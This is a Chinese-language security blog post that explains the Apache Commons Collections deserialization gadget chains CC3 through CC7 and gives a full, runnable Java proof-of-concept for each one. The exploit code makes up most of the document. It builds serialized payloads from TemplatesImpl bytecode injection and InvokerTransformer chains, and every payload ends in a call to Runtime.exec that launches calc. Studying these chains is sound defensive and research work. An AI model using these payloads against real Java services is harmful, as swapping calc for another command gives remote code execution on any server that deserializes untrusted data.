2837 字
14 分钟
从CC3到CC7

忙完一些比赛之类的,终于有时间继续看我的cc链了<( ̄︶ ̄)↗ GO! 之后打算逐步了解更新点的东西

CC3#

CC3的特性是加载恶意类的字节码并实例化对象 其中一个链使用了TrAXFilter类与InstantiateTransformer搭配来触发newTransformer(),用InstantiateTransformer反射实例化对象。触发加载恶意类之前都是CC1,不过把最后直接反射调用runtime换成了加载恶意类,关于classloader的利用在cc2的利用链2那里已说

InvokerTransformer被过滤时可以用TrAXFilter这个链子,TrAXFilter本身是不能反序列化的,但是调用到它的构造函数就可以调用newTransformer

rce还是利用TemplatesImpl#newTransformer->TemplatesImpl#**getTransletInstance**->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass加载恶意字节码,这里不再展开

流程#

用javassit创建java恶意类,当然和之前提到的一样还可以先写一个出来再用javassit导入它。

同样,需要设置其父类为AbstractTranslet

CC2 & CC1 这里还有个判断,如果该类的父类为ABSTRACT_TRANSLET就给_transletIndex赋值,_transletIndex在实例化类时用来指定_class的元素 所以在之后构造恶意EvilTemplatesImpl时需要让它继承AbstractTranslet

ClassPool classPool = ClassPool.getDefault();  
classPool.appendClassPath(AbstractTranslet);  
CtClass payload = classPool.makeClass("evil");  
payload.setSuperclass(classPool.get(AbstractTranslet));  
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

//获取恶意类的字节码  
byte[] bytes = payload.toBytecode();  
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");  
//反射写入字节码  
field.setAccessible(true);  
field.set(templatesImpl, new byte[][]{bytes});
//反射修改_name
Field field1 = templatesImpl.getClass().getDeclaredField("_name");  
field1.setAccessible(true);  
field1.set(templatesImpl, "test");

接下来写transformer链

Transformer[] transformers = new Transformer[] {  
        new ConstantTransformer(TrAXFilter.class),  
        new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl})  
};  
Transformer transformerChain = new ChainedTransformer(transformers);  
Map innerMap = new HashMap();  
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

通过ConstantTransformer获得到TrAXFilter 它的Transformer方法会返回TrAXFilter

看眼这里的InstantiateTransformer构造函数,可以看到传入的第二个参数是构造好的templatesImpl

所以这里利用Transformer链先获得TrAXFilter类,再交给了InstantiateTransformer传入注入了字节码的templatesImpl并进行实例化

这里用了LazyMap类,它会被AnnotationInvocationHandlerinvoke方法调用, 其get方法可以依次调用map内的对象,这里只需要保证map.containskey存在,随便传入个空键名即可

AnnotationInvocationHandlerinvoke方法,为了调用它需要var2对应的方法名字不为equals且无参数调用(get调用在第59行) invoke调用的是memberValuesget方式

回到POC构造,接下来这段就是用来调用AnnotationInvocationHandler的invoke

//反射机制调用AnnotationInvocationHandler类的构造函数  
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);  
//取消构造函数修饰符限制  
ctor.setAccessible(true);  
//获取AnnotationInvocationHandler类实例  
InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap);  
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);  
Object object=ctor.newInstance(Override.class,map1);

AnnotationInvocationHandler继承了InvocationHandler,意味着该类可以作为动态代理的代理处理器,并且必须重写invoke方法,当调用该代理对象时,invoke方法会被自动调用,这里只要随便调用一个无参函数即可,最终触发LazyMap

这里的无参函数使用entrySet

首先通过反射获取到AnnotationInvocationHandler的构造函数,传入LazyMap类创建对象 然后再用Proxy代理该对象,当调用readObject时便会调用到invoke

Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); 

POC#

        <dependency>  
            <groupId>commons-collections</groupId>  
            <artifactId>commons-collections</artifactId>  
            <version>3.2.1</version>  
        </dependency>  
        <dependency>  
            <groupId>org.javassist</groupId>  
            <artifactId>javassist</artifactId>  
            <version>3.22.0-GA</version>  
        </dependency>  

package www.orxiain.unser.cc3;  
  
import javassist.ClassPool;  
import javassist.CtClass;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.Transformer;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections.map.LazyMap;  
  
import javax.xml.transform.Templates;  
  
import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.HashMap;  
import java.util.Map;  
  
public class CC3 {  
    public static void main(String[] args) throws Exception{  
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";  
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";  
  
        ClassPool classPool = ClassPool.getDefault();  
        classPool.appendClassPath(AbstractTranslet);  
        CtClass payload = classPool.makeClass("CC3");  
        payload.setSuperclass(classPool.get(AbstractTranslet));  
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  
  
        byte[] bytes = payload.toBytecode();  
        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");  
        field.setAccessible(true);  
        field.set(templatesImpl, new byte[][]{bytes});  
  
        Field field1 = templatesImpl.getClass().getDeclaredField("_name");  
        field1.setAccessible(true);  
        field1.set(templatesImpl, "test");  
  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(TrAXFilter.class),  
                new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl})  
        };        Transformer transformerChain = new ChainedTransformer(transformers);  
        Map innerMap = new HashMap();  
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);  
  
        //反射机制调用AnnotationInvocationHandler类的构造函数  
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);  
        //取消构造函数修饰符限制  
        ctor.setAccessible(true);  
        //获取AnnotationInvocationHandler类实例  
        InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap);  
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);  
        Object object=ctor.newInstance(Override.class,map1);  
  
  
        //payload序列化写入文件,模拟网络传输  
        FileOutputStream f = new FileOutputStream("payload.bin");  
        ObjectOutputStream fout = new ObjectOutputStream(f);  
        fout.writeObject(object);  
  
        //2.服务端读取文件,反序列化,模拟网络传输  
        FileInputStream fi = new FileInputStream("payload.bin");  
        ObjectInputStream fin = new ObjectInputStream(fi);  
        //服务端反序列化  
        fin.readObject();  
    }}

CC6#

CC3与CC1一样都有java版本的限制(<=8u71),原因在于sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生改变 CC6链只要就是为了绕过这个限制

Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() 
java.util.HashMap.put() 
java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() 
java.lang.Runtime.exec() 
by @matthias_kaiser

单从ysocc6的调用链可以看出,仍然是利用了LazyMap.get()来调用Transformerchain最后直接rce的,只是前面的利用类为TiedMapEntry,其getValue()方法调用了get()

谁调用到了TiedMapEntry呢? HashSet重写的readObject中最后调用了Put方法 而put中调用了hash() 随后调用了key的hashCode方法 只要让这里的keyTiedMapEntry的对象即可调用到TiedMapEntry类的hashCode 其方法又调用到了getValue() 这里调用了get,完美闭合,太妙了😭😭😭 这里让this.key可以给LazyMap,调用它的get方法就可以调用接下来的Transformerchain,最后实现rce

poc#

package www.orxiain.unser.cc6;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.HashSet;  
import java.util.Map;  
  
public class CC6 {  
    public static void main(String[] args) throws Exception {  
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),  
                new ConstantTransformer(1),// 隐藏错误信息  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);  
        Map hashMap = new HashMap();  
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);  
        TiedMapEntry key = new TiedMapEntry(decorate, "key");  
        HashSet hashSet = new HashSet(1);  
        hashSet.add(key);  
//        HashMap map = new HashMap();  
//        map.put(key, "value");  
        decorate.remove("key");  
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");  
        field.setAccessible(true);  
        field.set(chainedTransformer, transformers);  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));  
//        oos.writeObject(map);  
        oos.writeObject(hashSet);  
        oos.close();  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./cc6.bin"));  
        Object o = ois.readObject();  
        System.out.println(o);  
    }}

CC4#

Gadget Chain:

getTransletInstancePriorityQueue.readObject->PriorityQueue.heapify ->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator ->TransformingComparator.compare->ChainedTransformer.transform ->TrAXFilter(构造方法)->TemplatesImpl.newTransformer ->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses ->(动态创建的类)cc4.newInstance()->Runtime.exec()

其实就是CC2的前面加CC3加载恶意类并实例化的部分 用CC2的特性使得链子在CC4.0也可用 这里只记录链子了

POC#

package www.orxiain.unser.cc4;  
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import javassist.*;  
import org.apache.commons.collections4.Transformer;  
  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  
  
  
import javax.xml.transform.Templates;  
import java.io.*;  
  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationTargetException;  
import java.util.PriorityQueue;  
  
public class CC4 {  
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {  
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";  
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";  
        ClassPool classPool=ClassPool.getDefault();  
        classPool.appendClassPath(AbstractTranslet);  
        CtClass payload=classPool.makeClass("CommonsCollections4");  
        payload.setSuperclass(classPool.get(AbstractTranslet));  
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  
        byte[] bytes = payload.toBytecode();  
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  
  
  
        Field field=templates.getClass().getDeclaredField("_bytecodes");  
        field.setAccessible(true);  
        field.set(templates,new byte[][]{bytes});  
  
        Field name=templates.getClass().getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(templates,"test");  
        Transformer[] trans = new Transformer[]{  
                new ConstantTransformer(TrAXFilter.class),  
                new InstantiateTransformer(  
                        new Class[]{Templates.class},  
                        new Object[]{templates})  
        };        ChainedTransformer chian = new ChainedTransformer(trans);  
        TransformingComparator transCom = new TransformingComparator(chian);  
        PriorityQueue queue = new PriorityQueue(2);  
        queue.add(1);  
        queue.add(1);  
        Field com = PriorityQueue.class.getDeclaredField("comparator");  
        com.setAccessible(true);  
        com.set(queue,transCom);  
  
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test3.out"));  
        outputStream.writeObject(queue);  
        outputStream.close();  
  
        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test3.out"));  
        inputStream.readObject();  
  
  
  
  
    }}

Java安全之Commons Collections4分析 - nice_0e3 - 博客园

CC5#

复现jdk为1.8u41 Gadget:

	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

CC版本还是3.2.1

从CC5的调用链可以看出还是利用到了LazyMap.get(),但调用的get方法前面的链子换了一下

来看一下TiedMapEntry这两个方法 cc5就是利用了toString()中的getValue()方法,之后和cc6和cc1一样了

toString()会被BadAttributeValueExpException的readobject方法调用到 但是这里需要getSecurityManager为空,也就是说在沙盒之类的情况下是不可用的

POC#

package www.orxiain.unser.cc5;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import javax.management.BadAttributeValueExpException;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  
  
public class CC5 {  
    public static void main(String[] args) throws Exception {  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Class.class),  
                new InvokerTransformer(  
                        "forName",  
                        new Class[]{String.class},  
                        new Object[]{"java.lang.Runtime"}  
                ),                new InvokerTransformer(  
                        "getMethod",  
                        new Class[]{String.class, Class[].class},  
                        new Object[]{"getRuntime", new Class[0]}  
                ),                new InvokerTransformer(  
                        "invoke",  
                        new Class[]{Object.class, Object[].class},  
                        new Object[]{null, new Object[0]}),  
                new InvokerTransformer(  
                        "exec",  
                        new Class[]{String.class},  
                        new String[]{"C:\\\\windows\\\\system32\\\\calc.exe"}  
                )  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        Map map = new HashMap();  
        Map Lazy = LazyMap.decorate(map, chainedTransformer);  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazy,"admin");  
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);  
  
        Class a = badAttributeValueExpException.getClass();  
        Field val = a.getDeclaredField("val");  
        val.setAccessible(true);  
        val.set(badAttributeValueExpException,tiedMapEntry);  
  
        serializable(badAttributeValueExpException);  
  
        unserializable();  
    }    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{  
        FileInputStream fis = new FileInputStream("obj");  
        ObjectInputStream ois = new ObjectInputStream(fis);  
        Object o = ois.readObject();  
        return o;  
    }  
    private static void serializable(Object o) throws IOException, ClassNotFoundException{  
        FileOutputStream fos = new FileOutputStream("obj");  
        ObjectOutputStream os = new ObjectOutputStream(fos);  
        os.writeObject(o);  
        os.close();  
  
    }}

CC7#

Gadget Chain:

Hashtable.readObject  
Hashtable.reconstitutionPut  
Hashtable.reconstitutionPut  
  LazyMap.equals 没实现,找父类  
     AbstractMapDecorator.equals  
        HashMap.equals 没实现,找父类  
           AbstractMap.equals  
              LazyMap.get  
   ChainedTransformer.transform()  
                    ConstantTransformer.transform()  
                    InvokerTransformer.transform()

命令执行还是cc6的LazyMap.get那套,但是前面很有意思

入口点是reconstitutionPutreadObject方法 就像源代码中注释所描述的,我们会发现它会先将序列化数据的长度读取出来创建新的table 然后接了个for循环来将键值对写入到table,这里调用到了reconstitutionPut(table, key, value) 细看这个方法,发现它调用了key.equals,所以这里控制key的内容可以让它调用到类的equals方法

但是调用到equals还需要过几个判断: 也就是这里的hash值的判断,因为它需要检查元素中是否有两个元素重复,所以会调用到这里的equals

也就可以调用到LazyMap的父类AbstractMapDecorator的equals方法 它摆烂又会调用到LazyMap的map属性的equals方法,map属性是可控的 之后会让map为HashMap,也就是HashMap父类的equals方法 这里找了两次爹,还是挺有意思的

HashMap的父类是AbstractMap 它调用了get

但是前面还有一堆判断:

//判断对象类型是否为同一对象
if (o == this)  
    return true;  

//检查传入的对象 `o` 是否是 `Map` 类型或其子类型。
if (!(o instanceof Map))  
    return false;  

//将传入的对象 `o` 强制转换为 `Map<?,?>` 类型。
Map<?,?> m = (Map<?,?>) o;  

//检查传入的 `Map` 对象 `m` 的大小(即键值对的数量)是否与当前 `Map` 对象的大小相同。
if (m.size() != size())  
    return false;

让它们都不满足之后就可以调用m的get方法,之后就和CC5之后一样了

这里构造的时候有个点 lazyMap2.remove("yy"); 为什么这里要remove掉lazyMap2的yy呢?

打断点逐步分析 发现在执行hashtable.put(lazyMap2, 1);后,LazyMap2就会多出一个元素 这就导致了两个map的size不同,最后会卡在到AbstractMap的equals方法判断元素数目是否相同的地方,所以需要删掉这个

那么为什么会多出这个yy呢? 打点看一下 先到了AbstractMap类,这里因为Value的值不为null(也就是判断了LazyMap的值是否存在),所以调用了LazyMap的get方法 其实这里就能看见第三行将transform返回的值put回去了 解决方法就是把这个yy删了

POC#

package www.orxiain.unser.cc7;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.util.Map;  
  
/*  
        基于Hashtable的利用链  
 */public class CC7 {  
  
    public static void main(String[] args) throws Exception {  
        //构造核心利用代码  
        final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);  
        final Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod",  
                        new Class[]{String.class, Class[].class},  
                        new Object[]{"getRuntime", new Class[0]}),  
                new InvokerTransformer("invoke",  
                        new Class[]{Object.class, Object[].class},  
                        new Object[]{null, new Object[0]}),  
                new InvokerTransformer("exec",  
                        new Class[]{String.class},  
                        new String[]{"calc"}),  
                new ConstantTransformer(1)};  
  
        //使用Hashtable来构造利用链调用LazyMap  
        Map hashMap1 = new HashMap();  
        Map hashMap2 = new HashMap();  
        Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);  
        lazyMap1.put("yy", 1);  
        Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);  
        lazyMap2.put("zZ", 1);  
        Hashtable hashtable = new Hashtable();  
        hashtable.put(lazyMap1, 1);  
        hashtable.put(lazyMap2, 1);  
        lazyMap2.remove("yy");  
        //输出两个元素的hash值  
        System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());  
        System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());  
  
  
        //iTransformers = transformers(反射)  
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");  
        iTransformers.setAccessible(true);  
        iTransformers.set(transformerChain, transformers);  
  
        //序列化  -->  反序列化(hashtable)  
        ByteArrayOutputStream barr = new ByteArrayOutputStream();  
  
        ObjectOutputStream oos = new ObjectOutputStream(barr);  
        oos.writeObject(hashtable);  
        oos.close();  
  
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));  
        ois.readObject();  
    }}
从CC3到CC7
http://orxiain.life/posts/从cc3到cc7/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-11-18
许可协议
CC BY-NC-SA 4.0